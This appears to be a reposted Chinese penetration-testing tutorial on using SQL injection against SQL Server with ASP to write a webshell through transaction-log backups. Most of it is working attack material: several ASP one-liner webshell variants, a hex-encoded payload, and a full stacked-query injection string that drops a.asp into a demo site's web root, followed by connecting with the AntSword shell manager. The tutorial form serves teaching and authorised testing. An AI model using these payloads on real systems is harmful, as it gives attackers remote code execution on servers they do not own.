75.网络安全渗透测试—[SQL注入篇14]—[SQLSERVER+ASP-LOG日志备份拿webshell]

本文阅读 4 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、SQLSERVER 日志备份相关概念

1、SQLSERVER的备份

(1)差异备份经常会出错的,不稳定。

(2)LOG日志备份很稳定。

2、数据库故障还原类型

       数据库故障还原类型默认是简单类型的,这时候不能够对日志文件进行备份。如果我们拥有权限,只要修改一下属性就可以。由于不能去企业管理器中修改,只需要使用一段SQL语句即可把数据库的还原类型设置为完全还原类型:

alter database 数据库名 set recovery FULL;

3、ASP一句话:

<%execute(request("a"))%>
    <%25Execute(request("a"))%25> 
    <%ExeCute(request("a"))%>
    0x3C25657865637574652872657175657374282261222929253E
    %><%execute request("a")%><%
    <script language=VBScript runat=server>execute request("a")</Script> 
    <%%25Execute(request("a"))%%25>

4、此时我们就可以通过备份log文件,得到webshell了

create table cmd123 (a image);
    insert into cmd123 (a) values ('<%Execute(request("a"))%>');
    backup log 数据库名  to disk = 'c:\\xxx\\a.asp';

5、优化webshell:

(1)首先让注入的时候不出现单引号,十六进制编码

create table cmd123 (a image);
    insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);
    backup log 数据库名  to disk = 'c:\\xxx\\a.asp';

(2)其次减小这个webshell的长度以及提高成功率,初始化日志

  backup log 数据库名 to disk = 'c:\\xxx\\log.bak' with init;
  create table cmd123 (a image);
  insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);
  backup log 数据库名 to disk = 'c:\\xxx\\a.asp';

(3)还可以再减小这个webshell的长度以及提高成功率,也就是在初始化之前之前建表

  create table cmd123 (a image);
  backup log 数据库名 to disk = 'c:\\xxx\\log.bak' with init;
  insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);
  backup log 数据库名 to disk = 'c:\\xxx\\a.asp';

(4)最后,对于我们自定义的的cmd表,可能库里面本来就存在,假如存在的话,就会报错,所以我们可以用一条if语句判断,若存在就删除。

IF EXISTS(select table_name from information_schema.tables where table_name='cmd123')drop table cmd123;
  create table cmd123 (a image);
  backup log 数据库名 to disk = 'c:\\xxx\\log.bak' with init;
  insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);
  backup log 数据库名 to disk = 'c:\\xxx\\a.asp';

(5)我们成功写入webshell后,删除自定义的cmd123表

IF EXISTS(select table_name from information_schema.tables where table_name='cmd123')drop table cmd123;
  create table cmd123 (a image);
  backup log 数据库名 to disk = 'c:\\xxx\\log.bak' with init;
  insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);
  backup log 数据库名 to disk = 'c:\\xxx\\a.asp';
  drop table cmd123;

6、最终形成的payload:

(1)payload解释:

alter database 数据库名 set recovery FULL;
   //设置数据库的还原类型为FULL类型,以便备份日志

   IF EXISTS(select table_name from information_schema.tables where table_name='cmd123')
   //判断cmd表是否存在
   //注意:if条件判断后没有分号
   
   drop table cmd123;    
   //若存在就删除cmd123表
  
  create table cmd123 (a image);
  //在初始化日志之前,建个表cmd123 
  
  backup log 数据库名 to disk = 'c:\\xxx\\log.bak' with init;
    //初始化日志

  insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);
    //往cmd123表里插入asp一句话,会被日志文件记录在内

  backup log 数据库名 to disk = 'c:\\xxx\\a.asp';
  //备份日志到2.asp,生成webshell

    drop table cmd123;
    //生成webshell后,删除我们自定义的临时表cmd123

(2)由于SQLSERVER允许多行操作,也就是一行可以执行多条语句,不同语句直接通过分号分割开,因此payload可以在一行内提交,如下所示:

假如此时前置查询是以?id传参的:

?id=1;alter database 数据库名 set recovery FULL;IF EXISTS(select table_name from information_schema.tables where table_name='cmd123')drop table cmd123;create table cmd123 (a image);backup log 数据库名 to disk = 'c:\xxx\log.bak' with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk = 'c:\xxx\a.asp';drop table cmd123;

7、如何判断是否拿到Webshell

       用execute正常备份出来的asp文件,在页面访问该asp文件的时候是有错误提示的,当你的显示500错误时,请你将的IE错误提示打开,当显示Microsoft VBScript 运行时错误 错误 ‘800a000d’ 类型不匹配: ‘execute’ 的时候表示你已经成功了,连接吧!!!

(1)IE浏览器设置,打开页面提示 img (2)成功写入的页面显示: img

二、SQLSERVER+ASP 日志备份拿webshell示例

1、判断数据库名:mydb

payload:?id=1 union select null,db_name(),null img

2、备份日志,拿webshell

payload:?id=1;alter database mydb set recovery FULL;IF EXISTS(select table_name from information_schema.tables where table_name='cmd123')drop table cmd123;create table cmd123 (a image);backup log mydb to disk = 'c:\inetpub\wwwroot\www.demo1.com\log.bak' with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log mydb to disk = 'c:\inetpub\wwwroot\www.demo1.com\a.asp';drop table cmd123; img

后台也成功的出现了83kb的a.asp文件:(这一步可以不要,我是在后台的网站目录下验证是否真的写入成功) img

3、判断是否写入webshell

访问a.asp页面: img

4、蚁剑连接

img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122582789
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复